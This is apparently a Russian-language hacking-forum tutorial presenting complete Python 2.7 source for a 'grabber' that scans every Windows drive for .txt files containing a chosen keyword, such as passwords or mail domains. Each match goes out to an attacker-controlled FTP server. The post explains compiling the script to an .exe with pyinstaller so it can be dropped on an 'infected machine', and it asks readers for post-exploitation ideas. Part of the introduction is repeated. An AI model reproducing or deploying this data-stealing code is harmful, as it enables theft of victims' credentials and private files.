Всем привет, мне было скучно и я решил написать программу, которая будет искать все .txt файлы,содержащие пароли, на компутере и отправлять нам на FTP.
Возможно это вам покажется бесполезным, но решать вам. Есть такие люди, которые хранят в .txt файлах пароли и прочее, и таких не мало.
Писать мы будем с вами на python 2.7 версии.
И прежде чем мы начнем, напишите ваши идеи в комментарии, что можно сделать для пост-эксплуатации системы, возможно я это сделаю)
Начинаю программировать я обычно с правильной музычки. Подбираем ее.
Теперь можно начинать
Пишем
Теперь подключим библиотеки, которые мы будем использовать, я выбрал такие
После этого я обычно ввожу переменные, необходимые для работы
Тк.к моя задумка была в том, чтобы он искал в файлах пароли по ключевому слову, я думаю будет лучше если ключевое слово будет вводиться как аргумент, а не как переменная в программе.
Теперь давай определим функции. Первой функцией будет подключение к FTP и отправка, я выбрал FTP, вы же можете выбрать другой метод.
Теперь я хочу получить все диски в системе,на которые можно перейти
Теперь пишем функцию, которая будет проходить через все папки и подпапки и получать файлы
Теперь прописуем вызов функции
Теперь передадим нашей функции
Теперь напишем проверку по ключевому слову
Теперь напишем отправку файлов, в которых нашлось ключевое слово
Так теперь подумаем, на тачке не установлен python и устанавливать нам его лень или мы не можем. На помощь нам приходит pyinstaller, устанавливаем его и пишем pyinstaller -F <имя скрипта.py>
На выходе мы получаем .exe файл без зависимости от python.
Все готово, теперь мы можем закинуть его на зараженную машину и собрать интересные файлы.
Обращение к файлу будет такое: <имя файла.exe > -w <ключевое слово> например graber.exe -w @mail.ru.
Спасибо что дочитали до конца) пишите чтобы вы исправили/добавили, приму любую критику если она уместна)
Также напишите ваши идеи для пост-эксплуатации, возможно сделаю.
PS Для удобства вот код целого файла
Возможно это вам покажется бесполезным, но решать вам. Есть такие люди, которые хранят в .txt файлах пароли и прочее, и таких не мало.
Писать мы будем с вами на python 2.7 версии.
ВОЗМОЖНО ПРИСУТСТВУЕТ ГОВНОКОД!
И прежде чем мы начнем, напишите ваши идеи в комментарии, что можно сделать для пост-эксплуатации системы, возможно я это сделаю)
Начинаю программировать я обычно с правильной музычки. Подбираем ее.
Теперь можно начинать
Пишем
# -*- coding: utf-8 -*-
, здесь мы указуем чтобы файл сохранялся в utf-8.Теперь подключим библиотеки, которые мы будем использовать, я выбрал такие
Код:
import ftplib
import os
import random
import argparse
После этого я обычно ввожу переменные, необходимые для работы
Код:
disks = []
tmp = []
good = []
appdata = os.environ['appdata'] # Получаем %appdata%
Тк.к моя задумка была в том, чтобы он искал в файлах пароли по ключевому слову, я думаю будет лучше если ключевое слово будет вводиться как аргумент, а не как переменная в программе.
Код:
parser = argparse.ArgumentParser(description='Enter word to search')
parser.add_argument('-w', help = 'word to search')
args = parser.parse_args()
word = args.w
word.decode('cp1251')# Для русского языка
Теперь давай определим функции. Первой функцией будет подключение к FTP и отправка, я выбрал FTP, вы же можете выбрать другой метод.
Код:
def ConnectFTP(filename): #Принимает путь до файла
host = "host" # Здесь данные от FTP
ftp_user = "user"# Здесь данные от FTP
ftp_password = "pass"# Здесь данные от FTP
ran = random.randint(1, 99999)# Это рандомное имя файла в цифрах
name = str(ran) + ".txt" # Name будет равно например этому: 45215.txt
con = ftplib.FTP(host, ftp_user, ftp_password) #Тут мы подключаемся к нашему FTP
handle = open(filename, "rb") # Открываем в двоичном режиме файл
send = con.storbinary("STOR " + name, handle) # Отправляем на FTP
con.close # Закрываем соеденение
Теперь я хочу получить все диски в системе,на которые можно перейти
Код:
def GetDisk(): #Ничего не принимает
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']: #Мы знаем, что диски обозначаются буквами английского алфавита, занесем его в список и цикл for переберет их
try: #Ставлю перехватчик
path = x + ":\\" # Тут получается путь, типа C:\\
os.chdir(path) #Меняем директорию
retval = os.getcwd() # Текущая рабочая директория
disks.append(retval) # Добавляем в список disks
except WindowsError: # Если он не сможет попасть в директорию F:\\ например, вылетит ошибка, значит такого диска нету
continue #Продолжить цикл
Теперь пишем функцию, которая будет проходить через все папки и подпапки и получать файлы
Код:
def GetDirectory(path): #Принимает path
for rootdir, dirs, files in os.walk(path): # Запускаем цикл в os.walk(path)
for file in files: # Еще один цикл
if((file.decode('cp1251').split('.')[-1])=='txt'): #Пример: trr.txt он отбрасывает trr и проверяет если формат .txt то присоединяется(текст) к sek
sek = os.path.join(rootdir, file)
tmp.append(sek) # Добавляется в временный список
Теперь прописуем вызов функции
GetDisk()
Теперь передадим нашей функции
GetDirectory()
диски(мы их получили при вызове функции GetDisk() )
Код:
for d in disks: # Берет диски из списка disks
GetDirectory(d) #Вызывает метод, который пробегает по диску и смотри какие там файлы
Теперь напишем проверку по ключевому слову
Код:
for j in tmp: # Цикл в списке tmp
try: #Ставим перехватчик
handle = open(j) # Открывает файл(Путь берем из списка tmp)
except IOError:
continue #Если будет ошибка, что прав недостаточно, продолжает цикл.
temp = handle.read() # Считывает файл
if word in temp: #Если ключевое слово есть в файле, который мы считали, он заноситься в список good
good.append(j)
Теперь напишем отправку файлов, в которых нашлось ключевое слово
Код:
for sender in good: # Цикл в списке good, он передает пути в отправляющую функцию
ConnectFTP(sender)
Так теперь подумаем, на тачке не установлен python и устанавливать нам его лень или мы не можем. На помощь нам приходит pyinstaller, устанавливаем его и пишем pyinstaller -F <имя скрипта.py>
На выходе мы получаем .exe файл без зависимости от python.
Все готово, теперь мы можем закинуть его на зараженную машину и собрать интересные файлы.
Обращение к файлу будет такое: <имя файла.exe > -w <ключевое слово> например graber.exe -w @mail.ru.
Спасибо что дочитали до конца) пишите чтобы вы исправили/добавили, приму любую критику если она уместна)
Также напишите ваши идеи для пост-эксплуатации, возможно сделаю.
PS Для удобства вот код целого файла
Код:
# -*- coding: utf-8 -*-
import ftplib
import os
import random
import argparse
disks = []
tmp = []
good = []
appdata = os.environ['appdata']
parser = argparse.ArgumentParser(description='Enter word to search')
parser.add_argument('-w', help = 'word to search')
args = parser.parse_args()
word = args.w
word.decode('cp1251')
def ConnectFTP(filename):
host = "host"
ftp_user = "user"
ftp_password = "pass"
ran = random.randint(1, 99999)
name = str(ran) + ".txt"
con = ftplib.FTP(host, ftp_user, ftp_password)
handle = open(filename, "rb")
send = con.storbinary("STOR " + name, handle)
con.close
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1])=='txt'):
sek = os.path.join(rootdir, file)
tmp.append(sek)
GetDisk()
for d in disks:
GetDirectory(d)
for j in tmp:
try:
handle = open(j)
except IOError:
continue
temp = handle.read()
if word in temp:
good.append(j)
for sender in good:
ConnectFTP(sender)
Последнее редактирование: